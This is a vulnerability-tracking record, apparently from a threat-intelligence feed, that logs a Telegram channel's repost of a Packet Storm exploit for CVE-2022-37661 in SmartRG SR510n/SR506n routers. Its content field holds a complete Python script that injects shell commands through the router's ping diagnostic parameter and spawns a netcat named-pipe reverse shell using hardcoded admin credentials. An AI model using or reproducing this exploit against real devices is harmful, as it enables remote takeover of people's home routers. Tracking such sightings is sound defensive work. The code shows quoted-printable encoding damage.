{"uuid": "7de01e4d-02a7-4dbe-9cde-3291bce69f0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37661", "type": "seen", "source": "https://t.me/hacking_Attack/76217", "content": "Exploit Collector\nSmartRG Router SR510n 2.6.13 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png \nSmartRG Router SR510n version 2.6.13 suffers from a remote code execution vulnerability.\n\nSHA-256 | dba419bb745ff6282406231b1e06978a7526ccc1828d7e4bb7c0dee6d345cbe1\n\nDownload\n# Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution)\n# Date: 13/06/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://adtran.com\n# Version: 2.5.15 / 2.6.13 (confirmed)\n# Tested on: SR506n (2.5.15) & SR510n (2.6.13)\n# CVE : CVE-2022-37661\n\nimport requests\nfrom subprocess import Popen, PIPE\n\nrouter_host =3D \"http://192.168.1.1\"\nauthorization_header =3D \"YWRtaW46QWRtMW5ATDFtMyM=3D\"\n\nlhost =3D \"lo\"\nlport =3D 80\n\npayload_port =3D 81\ndef main():\ne_proc =3D Popen([\"echo\", f\"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm=\np/s | nc {lhost} {lport} > /tmp/s\"], stdout=3DPIPE)\nPopen([\"nc\", \"-nlvp\", f\"{payload_port}\"], stdin=3De_proc.stdout)\nsend_payload(f\"|nc {lhost} {payload_port}|sh\")\nprint(\"done.. check shell\")\ndef get_session():\nurl =3D router_host + \"/admin/ping.html\"\nheaders =3D {\"Authorization\": \"Basic {}\".format(authorization_header)}\nr =3D requests.get(url, headers=3Dheaders).text\ni =3D r.find(\"&sessionKey=3D\") + len(\"&sessionKey=3D\")\ns =3D \"\"\nwhile r[i] !=3D \"'\":\ns =3D s + r[i]\ni =3D i + 1\nreturn s\ndef send_payload(payload):\nprint(payload)\nurl =3D router_host + \"/admin/pingHost.cmd\"\nheaders =3D {\"Authorization\": \"Basic {}\".format(authorization_header)}\nparams =3D {\"action\": \"add\", \"targetHostAddress\": payload, \"sessionKey\"=\n: get_session()}\nrequests.get(url, headers=3Dheaders, params=3Dparams).text\nmain()\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:33.747298Z"}